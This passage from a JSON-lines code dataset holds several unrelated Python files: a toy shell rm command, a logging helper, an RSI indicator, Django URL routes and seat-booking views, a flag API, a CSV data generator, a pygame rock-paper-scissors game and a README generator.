iterable.__next__()\n print(key,dict01[key])\n\n except StopIteration:\n break\n\n\n\n\n\n\n\n","sub_path":"xiaojian/first_phase/day18/exersice01.py","file_name":"exersice01.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"108447541","text":"import os\n\n#remove a file\ndef rm (command, flags, params, output):\n if not flags:\n if os.path.exists(params[0]):\n try:\n os.remove(params[0])\n except OSError:\n print(\"Could not remove file(s)\")\n else:\n print(\"This file does not exist\")\n else:\n if flags[0] == \"-r\":\n #code taken from: https://stackoverflow.com/questions/13118029/deleting-the-folders-in-python-recursively\n for dirpath, dirnames, filenames in os.walk(os.getcwd(), topdown=False):\n try:\n os.rmdir(dirpath)\n except OSError as ex:\n print(ex)\n\n else:\n print(\"Flag not valid\")\n return","sub_path":"Shell Project/shell/y33ters/rm.py","file_name":"rm.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"188479995","text":"import logging\ndef log_mod(name):\n logger = logging.getLogger(name)\n logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n fh = logging.FileHandler('access.log',encoding='utf-8')\n fh.setLevel(logging.WARNING)\n ch_formatter = logging.Formatter('%(module)s-%(lineno)d %(levelname)s:%(message)s')\n fh_formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s:%(message)s',datefmt='%Y/%m/%d %H:%M:%S')\n ch.setFormatter(ch_formatter)\n fh.setFormatter(fh_formatter)\n logger.addHandler(ch)\n logger.addHandler(fh)\n return logger\n\ntask_log = log_mod(\"task_api\")\nmission_log = log_mod(\"mission_api\")\n","sub_path":"log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"105963724","text":"import datetime\nfrom collections import deque\nfrom .config import CANDLES, TIME_DIFF, MULTIPLIER\n\n\nclass RSI:\n def __init__(self, duration=14, candle_duration='minute'):\n self.source = 'close' # can be open, high, low or close\n self.round_off = CANDLES[candle_duration]\n self.time_diff = TIME_DIFF[candle_duration]\n self.last_time = None\n self.last_price = None\n self.rsi = {\n 'price': None,\n 'gain': deque(),\n 'loss': deque(),\n 'len': duration,\n 'rsi': None\n }\n\n def reset(self, present_time, present_price):\n \"\"\"\n called when there is break in data, due to network issues\n \"\"\"\n self.last_time = present_time\n self.last_price = present_price\n self.rsi.update({\n 'price': None,\n 'gain': deque(),\n 'loss': deque(),\n 'rsi': None,\n })\n\n\n def update_rsi(self, timestamp, present_price):\n present_time = datetime.datetime.fromtimestamp(int(timestamp)).replace(**self.round_off)\n if not(present_time == self.last_time or self.last_time is None):\n if int((present_time - self.last_time).total_seconds() - self.time_diff) != 0:\n print(\"Reset at times: {present_time}, {last_time}\".format(\n present_time=present_time,\n last_time=self.last_time))\n self.reset(present_time, present_price)\n return\n if self.rsi['price'] is not None:\n # calculate loss and gain w.r.t rsi['price']\n gain = 0\n loss = 0\n if self.rsi['price'] < self.last_price:\n gain = self.last_price - self.rsi['price']\n else:\n loss = self.rsi['price'] - self.last_price\n self.rsi['gain'].appendleft(gain)\n self.rsi['loss'].appendleft(loss)\n if len(self.rsi['gain']) == self.rsi['len']:\n loss_sum = sum(self.rsi['loss'])\n gain_sum = sum(self.rsi['gain'])\n if loss_sum == 0:\n self.rsi['rsi'] = 100.0\n else:\n self.rsi['rsi'] = 100.0 - (100.0/(1+(float(gain_sum)/loss_sum)))\n self.rsi['gain'].pop()\n self.rsi['loss'].pop()\n self.rsi['price'] = self.last_price\n self.last_price = present_price\n self.last_time = present_time\n","sub_path":"websockets/indicators/rsi.py","file_name":"rsi.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"624089630","text":"from django.conf.urls import url\nfrom . import views\n \nurlpatterns = [\n\n url(r'^$', views.index),\n url(r'^admin$', views.admin),\n url(r'^admin_dashboard$', views.admin_dashboard),\n url(r'^register$', views.register),\n url(r'^login$', views.login),\n url(r'^logout$', views.logout),\n url(r'^add_appt$', views.add_appt),\n url(r'^edit/(?P\\d+)/$',views.edit),\n url(r'^update/(?P\\d+)/$',views.update),\n url(r'^destroy/(?P\\d+)/$',views.destroy),\n url(r'^approve/(?P\\d+)/$',views.approve)\n \n\n \n\n\n\n ]","sub_path":"apps/kibble_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"484309147","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom pyramid import security\nfrom pyramid.httpexceptions import HTTPNoContent, HTTPNotFound\n\nfrom h.schemas import ValidationError\nfrom h.views.api import api_config\n\n\n@api_config(route_name='api.flags',\n request_method='POST',\n link_name='flag.create',\n description='Flag an annotation for review.',\n effective_principals=security.Authenticated)\ndef create(context, request):\n annotation = _fetch_annotation(context, request)\n svc = request.find_service(name='flag')\n svc.create(request.authenticated_user, annotation)\n return HTTPNoContent()\n\n\n@api_config(route_name='api.flags',\n request_method='GET',\n link_name='flag.index',\n description='List a users flagged annotations for review.',\n effective_principals=security.Authenticated)\ndef index(request):\n group = request.GET.get('group')\n if not group:\n group = None\n\n uris = request.GET.getall('uri')\n\n svc = request.find_service(name='flag')\n flags = svc.list(request.authenticated_user, group=group, uris=uris)\n return [{'annotation': flag.annotation_id} for flag in flags]\n\n\ndef _fetch_annotation(context, request):\n try:\n annotation_id = request.json_body.get('annotation')\n\n if not annotation_id:\n raise ValueError()\n except ValueError:\n raise ValidationError('annotation id is required')\n\n not_found_msg = 'cannot find annotation with id %s' % annotation_id\n\n try:\n resource = context[annotation_id]\n if not request.has_permission('read', resource):\n raise HTTPNotFound(not_found_msg)\n\n return resource.annotation\n except KeyError:\n raise HTTPNotFound(not_found_msg)\n","sub_path":"h/views/api_flags.py","file_name":"api_flags.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"128898105","text":"import warnings\nwarnings.filterwarnings('ignore')\n\nfrom DiscreteSpectrumExampleFn import DiscreteSpectrumExampleFn\nimport csv\nimport numpy as np\n\nnumICs = 5000\nfilenamePrefix = 'DiscreteSpectrumExample'\n\nx1range = [-.5, .5]\nx2range = x1range\ntSpan = np.arange(0, 1 + 0.02, 0.02) # 0:0.02:1\nmu = -0.05\nlambda_ = -1\n\ndef make_csv(filename, X):\n with open(filename, 'w') as csv_file:\n fieldnames = ['precision', '%.14f']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n for i in range(len(X)):\n writer.writerow({'precision': X[i, 0], '%.14f': X[i, 1]})\n\nseed = 1\nX_test = DiscreteSpectrumExampleFn(x1range, x2range, round(.1 * numICs), tSpan, mu, lambda_, seed)\nfilename_test = filenamePrefix + '_test_x.csv'\n# csv.writer(filename_test, X_test, 'precision', '%.14f')\n# csv.writer(filename_test, X_test)\nmake_csv(filename_test, X_test)\n\nseed = 2\nX_val = DiscreteSpectrumExampleFn(x1range, x2range, round(.2 * numICs), tSpan, mu, lambda_, seed)\nfilename_val = filenamePrefix + '_val_x.csv'\n# csv.writer(filename_val, X_val, 'precision', '%.14f')\n# csv.writer(filename_val, X_val)\nmake_csv(filename_val, X_val)\n\nfor j in range(1, 4):\n # for j = 1:3\n seed = 2 + j\n X_train = DiscreteSpectrumExampleFn(x1range, x2range, round(.7 * numICs), tSpan, mu, lambda_, seed)\n filename_train = filenamePrefix + format('_train%d_x.csv' % j)\n # csv.writer(filename_train, X_train, 'precision', '%.14f')\n # csv.writer(filename_train, X_train)\n make_csv(filename_train, X_train)\n\n","sub_path":"data_python/DiscreteSpectrumExample.py","file_name":"DiscreteSpectrumExample.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"456965461","text":"# game for level1\n#############################################################################\n\nimport pygame\n\nfrom main.pygamegame import *\nfrom main.player import *\nimport random\n\n#############################################################################\n\nclass RockPaperScissor(PygameGame):\n\n def __init__(self, score):\n \n super().__init__()\n\n self.score = score\n\n self.surf = pygame.image.load('modules/Stage.png')\n self.rect = self.surf.get_rect\n self.surf = pygame.transform.smoothscale(self.surf, (900,600))\n\n # Game setup\n\n self.paper = pygame.image.load('modules/Game1/paper.png')\n self.paper = pygame.transform.smoothscale(self.paper, (100,100))\n self.rock = pygame.image.load('modules/Game1/rock.png')\n self.rock = pygame.transform.smoothscale(self.rock, (90,90))\n self.scissors = pygame.image.load('modules/Game1/scissors.png')\n self.scissors = pygame.transform.smoothscale(self.scissors, (80,100))\n self.moves = [self.paper, self.rock, self.scissors]\n self.i = 0\n self.playerMove = self.moves[0]\n n = random.randint(0,2)\n self.enemyMove = self.moves[0]\n \n # count wins\n self.enemyWins = 0\n self.playerWins = 0\n\n # who won\n self.endText = None\n\n self.playing = True\n\n self.prizes = [50,100,200,300,500]\n self.n = random.randint(0, 4)\n self.prize = 0\n self.count = 0\n\n self.enemyTurn = False\n\n\n def update(self, pressed_keys):\n\n # check if 3 games have played and get winner\n if self.enemyWins != self.playerWins:\n if self.enemyWins + self.playerWins >= 3:\n self.playing = False\n\n # if game is being played, get win counts\n if self.playing == True:\n if pressed_keys[K_RIGHT]:\n self.enemyTurn = False\n self.i += 1\n if self.i > 2:\n self.i = 0\n\n self.endText = None\n \n if pressed_keys[K_LEFT]:\n self.enemyTurn = False\n self.i -= 1\n if self.i < 0:\n self.i = 2\n\n self.endText = None\n #print(self.i)\n self.playerMove = self.moves[self.i]\n\n if pressed_keys[K_RETURN]:\n n = random.randint(0,2)\n self.enemyMove = self.moves[n]\n self.enemyTurn = True\n # show enemy move\n # show who won\n if self.enemyMove == self.paper:\n if self.playerMove == self.rock:\n self.enemyWins += 1\n self.endText = \"You Lose!\"\n if self.playerMove == self.paper:\n self.endText = \"Tie!\"\n if self.playerMove == self.scissors:\n self.playerWins += 1\n self.endText = \"You Win!\"\n\n if self.enemyMove == self.rock:\n if self.playerMove == self.rock:\n self.endText = \"Tie!\"\n if self.playerMove == self.paper:\n self.playerWins += 1\n self.endText = \"You Win!\"\n if self.playerMove == self.scissors:\n self.enemyWins += 1\n self.endText = \"You Lose!\"\n\n if self.enemyMove == self.scissors:\n if self.playerMove == self.rock:\n self.playerWins += 1\n self.endText = \"You Win!\"\n if self.playerMove == self.paper:\n self.enemyWins += 1\n self.endText = \"You Lose!\"\n if self.playerMove == self.scissors:\n self.endText = \"Tie!\"\n\n\n def draw(self, surface):\n myfont = pygame.font.SysFont('Comic Sans MS', 30)\n\n if self.playing == True:\n surface.blit(self.surf, (0 - 50, 0))\n surface.blit(self.playerMove, (800//4, self.height//2 - 100))\n if self.enemyTurn == True:\n #print(\"yes\")\n surface.blit(self.enemyMove, (800 - 800//3, self.height//2 - 100))\n\n # scores\n \n playerScore = \"Your Score: %d\"%(self.playerWins)\n textsurf = myfont.render(playerScore, False, (0, 0, 0))\n surface.blit(textsurf,(self.width//4, 40))\n\n enemyScore = \"Enemy Score: %d\"%(self.enemyWins)\n textsurf = myfont.render(enemyScore, False, (0, 0, 0))\n surface.blit(textsurf,(800 - 800//3, 40))\n\n # who won each mini match\n if self.endText != None:\n textsurf = myfont.render(self.endText, False, (0, 0, 0))\n surface.blit(textsurf,(800//2, self.height//4))\n\n # end game screen, who won, what reward player gets\n if self.playing == False:\n # change font colors after testing code\n self.endsurf = pygame.draw.rect(surface, (255, 255, 255), (0, 0, 800, 600))\n #surface.blit(self.endsurf, (0, 0))\n # who won\n if self.playerWins > self.enemyWins:\n self.endText = \"You Win!\"\n textsurf = myfont.render(self.endText, False, (0, 0, 0))\n surface.blit(textsurf, (800//2, self.height//4))\n\n # what did player win\n \n # prize initialization\n self.prize = self.prizes[self.n]\n \n\n text = \"You won %d coins!\"%(self.prize)\n textsurf = myfont.render(text, False, (0, 0, 0))\n surface.blit(textsurf,(800//2, self.height//2))\n\n score = 0\n score += self.prize\n #Game.updateScore(prize)\n score = \"Score: %d\"%(score)\n textsurf = myfont.render(score, False, (0, 0, 0))\n surface.blit(textsurf,(800 - 10, 20))\n # put prize image here\n\n if self.count < 1:\n self.score += self.prize\n self.count += 1\n # screen when player wins\n\n \n if self.enemyWins > self.playerWins:\n self.endText = \"You Lost!\"\n textsurf = myfont.render(self.endText, False, (0, 0, 0))\n print(\"I'm here\")\n surface.blit(textsurf,(800//2, self.height//2))\n \n exitInst = \"Press ESC to exit Castle\"\n textsurf = myfont.render(exitInst, False, (0, 0, 0))\n surface.blit(textsurf,(800//2, self.height - self.height//4))\n #self.endsurf.blit(textsurf,(self.width//2, self.height - self.height//4), 40)\n\n\n #pygame.display.flip()\n","sub_path":"TP/games/level1.py","file_name":"level1.py","file_ext":"py","file_size_in_byte":6881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"579979964","text":"import os\nfrom glob import glob\n\nreadme_string = \"\"\"# daily_coding_problem\nSolutions of https://www.dailycodingproblem.com\n\n#### Problems :\n\n0. [test](./problems/test.md)\n\"\"\"\n\nfor idx, markdown_path in enumerate(sorted(glob('./problems/p*.md'))) :\n markdown_name = os.path.basename(markdown_path).split('.')[0]\n readme_string += f\"{idx + 1}. [{markdown_name}]({markdown_path})\\n\"\n\n\nwith open('README.md', 'w') as f:\n f.write(readme_string)\n","sub_path":"generate_readme.py","file_name":"generate_readme.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"372160198","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse, HttpResponseNotFound \nfrom django.views.decorators.http import require_http_methods\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import authenticate, login, logout, get_user_model\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom .models import Floor,Seat, SeatBooking, Holiday\n#importing loading from django template \nfrom django.template import loader\nimport datetime, csv, xlwt\nfrom .utils import rev_date, send_cancellation_mail, is_user_admin\nfrom .dao import get_first_half_seats, get_second_half_seats, get_seat_bookings_for_user\nfrom seat_booking import settings\nfrom django.core.mail import send_mail \nfrom .form import CreateUserForm\nfrom .forms import (UserLoginForm, UserRegisterForm, \nBookingDateForm, BookSeatForm, AddFloorForm, DownloadReportForm,\nAddSeatForm, SelectFloorShiftForm, CancelBookingForm, DeclareHolidayForm)\n\ndef register_view(request, *args, **kwargs):\n next = request.GET.get('next')\n form = UserRegisterForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n user = form.save(commit = False)\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user.set_password(password)\n user.save()\n new_user = authenticate(username =username, password = password)\n login(request, user)\n if next:\n redirect(next)\n return redirect('/home')\n else: \n context = {\n 'form':form\n }\n return render(request, \"register.html\", context) \n\n context = {\n 'form':form\n }\n return render(request, \"register.html\", context)\n\n\ndef login_view(request, *args, ** kwargs):\n next = request.GET.get('next')\n form = UserLoginForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n username = request.POST.get('username')\n password = request.POST.get('password')\n user = authenticate(username =username, password = password)\n if user is not None:\n login(request, user)\n if next:\n redirect(next)\n return redirect('/home')\n else:\n context = {\n 'form' : form\n } \n return render(request, 'login.html', context)\n\n context = {\n 'form' : form\n }\n return render(request, \"login.html\", context)\n\n@login_required(login_url='login')\ndef booking_date_form(request, *args, ** kwargs):\n print(\"got here1\")\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = BookingDateForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n booking_date = request.POST.get('booking_date')\n r = rev_date(booking_date)\n dt = datetime.datetime.strptime(r, \"%Y-%m-%d\")\n day_of_week = dt.strftime(\"%A\")\n date_holidays = Holiday.objects.filter(date =r)\n if day_of_week == 'Saturday' or day_of_week == 'Sunday':\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n messages.error(request,\"Seat bookings for \"+day_of_week+\"s not allowed!\")\n return render(request, 'booking_date_form.html', context) \n elif date_holidays:\n occassion =\"\"\n for h in date_holidays:\n occassion = h.occassion\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n messages.error(request,\"Seat bookings for \"+booking_date+\" is not allowed as its a holiday for occassion: \"+occassion+\"!\")\n return render(request, 'booking_date_form.html', context) \n else:\n all_seats = Seat.objects.all()\n all_floors = Floor.objects.all()\n context = {\n #'form' : form,\n 'all_seats' : all_seats,\n 'all_floors' : all_floors,\n 'is_admin' : is_admin\n }\n return render(request, 'select_floor_n_shift.html', {'all_seats' : all_seats, 'all_floors' : all_floors, \n 'date': booking_date, 'is_admin' : is_admin})\n else:\n booking_date = request.POST.get('booking_date')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'booking_date_form.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"booking_date_form.html\", context)\n\n@login_required(login_url='login')\ndef select_floor_shift(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n print(\"got here1\")\n next = request.GET.get('next')\n form = SelectFloorShiftForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n print(\"was here in booking date\")\n booking_date = request.POST.get('booking_date')\n floor = request.POST.get('floor')\n shift = request.POST.get('shift')\n\n all_seats = Seat.objects.filter(floor =floor)\n all_seats_a_1 = []\n all_seats_a_2 = []\n all_seats_b_1 = []\n all_seats_b_2 = []\n all_seats_c_1= []\n all_seats_c_2 = []\n all_seats_a_1 = get_first_half_seats(floor, 'A')\n all_seats_a_2 = get_second_half_seats(floor, 'A')\n\n all_seats_b_1 = get_first_half_seats(floor, 'B')\n all_seats_b_2 = get_second_half_seats(floor, 'B')\n\n all_seats_c_1 = get_first_half_seats(floor, 'C')\n all_seats_c_2 = get_second_half_seats(floor, 'C') \n \n\n all_floors = Floor.objects.all()\n \n r = rev_date(booking_date)\n all_bookings_of_date = SeatBooking.objects.filter(booking_date = r,shift = shift).order_by('seat_num')\n self_booked_ids = []\n booked_seat_ids = []\n for b in all_bookings_of_date:\n booked_seat_ids.append(b.seat_id)\n if b.booked_by == request.user.username:\n self_booked_ids.append(b.seat_id)\n context = {\n 'all_seats' : all_seats,\n 'all_floors' : all_floors,\n 'floor': floor,\n 'shift' : shift,\n 'booking_date' :booking_date,\n 'shift' :shift,\n 'self_booked_ids' :self_booked_ids,\n 'booked_seat_ids' : booked_seat_ids,\n 'all_seats_a_1' : all_seats_a_1,\n 'all_seats_b_1' : all_seats_b_1,\n 'all_seats_c_1' : all_seats_c_1,\n 'all_seats_a_2' : all_seats_a_2,\n 'all_seats_b_2' : all_seats_b_2,\n 'all_seats_c_2' : all_seats_c_2,\n 'is_admin' : is_admin\n }\n return render(request, 'view_seats.html',context)\n else:\n print(\"gotchaaaa\")\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'select_floor_n_shift.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"select_floor_n_shift.html\", context)\n\n@login_required(login_url='login')\ndef book_seat(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = BookSeatForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n booking_date = request.POST.get('booking_date')\n floor = request.POST.get('floor')\n shift = request.POST.get('shift')\n seat_id = request.POST.get('seat_id')\n seat_row = request.POST.get('seat_row')\n seat_num =request.POST.get('seat_num')\n all_seats = Seat.objects.filter(floor=floor)\n all_seats_a_1 = []\n all_seats_a_2 = []\n all_seats_b_1 = []\n all_seats_b_2 = []\n all_seats_c_1= []\n all_seats_c_2 = []\n all_seats_a_1 = get_first_half_seats(floor, 'A')\n all_seats_a_2 = get_second_half_seats(floor, 'A')\n\n all_seats_b_1 = get_first_half_seats(floor, 'B')\n all_seats_b_2 = get_second_half_seats(floor, 'B')\n\n all_seats_c_1 = get_first_half_seats(floor, 'C')\n all_seats_c_2 = get_second_half_seats(floor, 'C') \n all_floors = Floor.objects.all()\n r = rev_date(booking_date)\n\n all_bookings_of_date = SeatBooking.objects.filter(booking_date = r)\n booked_seat_ids = []\n prev_self_booked_ids =[]\n for b in all_bookings_of_date:\n booked_seat_ids.append(b.seat_id)\n if b.booked_by == request.user.username:\n prev_self_booked_ids.append(b.seat_id)\n booking_possible = False\n if shift =='A' and int(seat_id)%2 ==1:\n messages.error(request,\"Only even seat numbers booking allowed for shift A\")\n elif shift =='B' and int(seat_id)%2 ==0:\n messages.error(request,\"Only odd seat numbers booking allowed for shift B\")\n elif int(seat_id) in prev_self_booked_ids:\n messages.error(request, \"You have already boooked this seat!\")\n elif prev_self_booked_ids !=[]:\n messages.error(request, \"You have already booked a seat for date \"+booking_date+\" !\")\n elif int(seat_id) not in booked_seat_ids:\n print(\"no booking found for seat, will book it\")\n sb = SeatBooking.objects.create(booking_date = r,shift = shift, seat_id = seat_id,booked_by = request.user.username,\n seat_row= seat_row, seat_num =seat_num, floor = floor)\n msg = \"Hi \" + request.user.username +\"!, your Seat is booked for Seat: \"+ seat_row+\"-\"+str(seat_num) + \" Floor\" + str(floor)\n #send_mail(subject, msg, settings.EMAIL_HOST_USER, [to]) \n send_mail(\"SeatBooking Confirm-SeatBookingApp\", msg,settings.EMAIL_HOST_USER,[request.user.email])\n print(sb)\n messages.error(request, \"Seat successfully booked for Seat: \"+ seat_row+\"-\"+\n str(seat_num) + \" Floor \" + str(floor) +\" for date: \"+booking_date +\" shift \"+shift+\", confirmation mail sent please check inbox\")\n booking_possible = True\n else:\n messages.error(request, \"Seat already booked!\")\n print(\"already booking found for \"+str(seat_id))\n\n updated_all_bookings_of_date = SeatBooking.objects.filter(booking_date = r,shift = shift)\n booked_seat_ids = []\n self_booked_ids = []\n for b in updated_all_bookings_of_date:\n booked_seat_ids.append(b.seat_id)\n if b.booked_by == request.user.username:\n self_booked_ids.append(b.seat_id)\n\n context = {\n 'all_seats' : all_seats,\n 'all_floors' : all_floors,\n 'floor': floor,\n 'booking_date' :booking_date,\n 'shift' :shift,\n 'booked_seat_ids' : booked_seat_ids,\n 'self_booked_ids' : self_booked_ids,\n 'all_seats_a_1' : all_seats_a_1,\n 'all_seats_b_1' : all_seats_b_1,\n 'all_seats_c_1' : all_seats_c_1,\n 'all_seats_a_2' : all_seats_a_2,\n 'all_seats_b_2' : all_seats_b_2,\n 'all_seats_c_2' : all_seats_c_2,\n 'is_admin' : is_admin\n }\n return render(request, 'view_seats.html',context)\n else:\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'select_floor_n_shift.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"select_floor_n_shift.html\", context)\n\n@login_required(login_url='login')\ndef cancel_booking(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = CancelBookingForm(request.POST or None)\n if request.method == \"POST\":\n if form.is_valid():\n booking_id = request.POST.get('id')\n b = SeatBooking.objects.get(id=int(booking_id)) \n print(b)\n msg = \"\"\n if b.booking_date < datetime.date.today():\n msg = \"Booking of past date cannot be cancelled\"\n elif b.booking_date < datetime.date.today() + datetime.timedelta(days=2):\n msg = \"Bookings can be cancelled only before 2 days before date of booking\"\n elif b.booking_date > datetime.date.today() + datetime.timedelta(days=7):\n msg = \"Bookings of only next 7 days after today can be cancelled \"\n else:\n b.delete()\n msg = \"Booking sucessfully cancelled for Seat \"+b.seat_row+\"-\"+ str(b.seat_num)+ \" for date \"+str(b.booking_date)\n send_cancellation_mail(b.booking_date, b.floor, b.seat_row, b.seat_num, b.shift, request.user.email, request.user.first_name)\n\n messages.error(request, msg)\n bookings_for_user = get_seat_bookings_for_user(request.user.username)\n context = {\n 'bookings' : bookings_for_user,\n 'is_admin' : is_admin\n }\n return render(request, 'cancel_booking_page.html',context)\n else:\n print(\"cancel booking form invalid\")\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'cancel_booking_page.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"cancel_booking_page.html\", context)\n\n@login_required(login_url='login')\ndef view_bookings(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n bookings_for_user = get_seat_bookings_for_user(request.user.username)\n msg =\"\"\n if not bookings_for_user:\n msg = \"You have no bookings for next 5 working days yet!\"\n messages.error(request, msg)\n context = {\n 'bookings' : bookings_for_user,\n 'is_admin' : is_admin\n }\n return render(request, 'view_bookings.html',context)\n\n@login_required(login_url='login')\ndef cancel_booking_page(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n bookings_for_user = get_seat_bookings_for_user(request.user.username)\n seat_ids = []\n for b in bookings_for_user:\n print(b.seat_num)\n seat_ids.append(b.seat_num)\n bookings = []\n if seat_ids == []:\n print(\"no bookings found\")\n messages.error(request, 'You have no seat booked')\n bookings = []\n else:\n print(\"bookings found\")\n bookings = bookings_for_user\n \n context = {\n 'bookings' : bookings_for_user,\n 'is_admin' : is_admin\n }\n\n return render(request, 'cancel_booking_page.html', context) \n\n@login_required(login_url='login')\ndef add_floor(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = AddFloorForm(request.POST or None)\n context = {}\n if is_admin == True:\n if request.method == \"POST\":\n if form.is_valid():\n form.save()\n context = {\n 'form' : form,\n 'msg' : \"Floor added Sucessfully\",\n 'is_admin' : is_admin\n }\n messages.error(request, 'Floor added successfully!')\n render(request, 'add_floor.html', context)\n else:\n floor_num = request.POST.get('floor_num')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'add_floor.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"add_floor.html\", context)\n else:\n messages.error(request, 'Requested Page only available to admin users!')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"home.html\", context)\n\n@login_required(login_url='login')\ndef add_seat(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = AddSeatForm(request.POST or None)\n context = {}\n if is_admin == True:\n if request.method == \"POST\":\n if form.is_valid():\n form.save()\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n messages.error(request, 'Seat added successfully!')\n return render(request, 'add_floor.html', context)\n else:\n print(\"gotchaaaa\")\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'add_floor.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"add_floor.html\", context)\n else:\n messages.error(request, 'Requested Page only available to admin users!')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"home.html\", context)\n\n@login_required(login_url='login')\ndef declare_holiday(request, *args, ** kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = DeclareHolidayForm(request.POST or None)\n context = {}\n if is_admin == True:\n if request.method == \"POST\":\n if form.is_valid():\n date = request.POST.get('date')\n occassion = request.POST.get('occassion')\n msg = \"\"\n r1 = rev_date(date)\n r1_date = datetime.datetime.strptime(r1, \"%Y-%m-%d\").date()\n d2 = datetime.date.today() + datetime.timedelta(days=7)\n date_holidays = Holiday.objects.filter(date =r1)\n occassion_holidays = Holiday.objects.filter(occassion = occassion)\n if r1_date < datetime.date.today():\n msg = \"Holidays cannot be declared for past date\"\n elif r1_date <= d2:\n msg = \"Holidays can be declared only in 1 week(5 working days) in advance\"\n elif not date_holidays and not occassion_holidays:\n msg = \"Holiday added successfully for date: \"+date+ \" and occassion: \"+occassion\n form.save()\n elif not date_holidays:\n msg = \"Holiday already added for occassion: \"+occassion\n elif not occassion_holidays:\n msg = \"Holiday already for date: \"+date\n \n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n messages.error(request, msg)\n return render(request, 'declare_holiday_form.html', context)\n else:\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n } \n return render(request, 'declare_holiday_form.html', context)\n\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"declare_holiday_form.html\", context)\n else:\n messages.error(request, 'Requested Page only available to admin users!')\n context = {\n 'form' : form,\n 'is_admin' : is_admin\n }\n return render(request, \"home.html\", context)\n\n\n@login_required(login_url='login')\ndef download_report_form(request, *args, **kwargs):\n is_admin = is_user_admin(request.user.email)\n next = request.GET.get('next')\n form = DownloadReportForm(request.POST or None)\n if is_admin == True:\n if request.method == \"POST\":\n if form.is_valid():\n from_date = request.POST.get('from_date')\n r1 = rev_date(from_date)\n to_date = request.POST.get('to_date')\n type = request.POST.get('type')\n r2 = rev_date(to_date) \n dt1 = datetime.datetime.strptime(r1, \"%Y-%m-%d\")\n dt2 = datetime.datetime.strptime(r2, \"%Y-%m-%d\")\n day_of_week = dt1.strftime(\"%A\")\n bookings = SeatBooking.objects.filter(booking_date__range=[dt1, dt2]).order_by('booking_date')\n context = {\n #'form' : form,\n 'is_admin' : is_admin\n }\n d1 = datetime.datetime.now() \n if type == \"csv\":\n response = HttpResponse(content_type='text/csv') \n file_name = \"bookings\"+str(d1)+\".csv\"\n content_disposition = 'attachment; filename=\"'+file_name+'\"'\n #response['Content-Disposition'] = 'attachment; filename=\"bookings.csv\"' \n response['Content-Disposition'] = content_disposition\n writer = 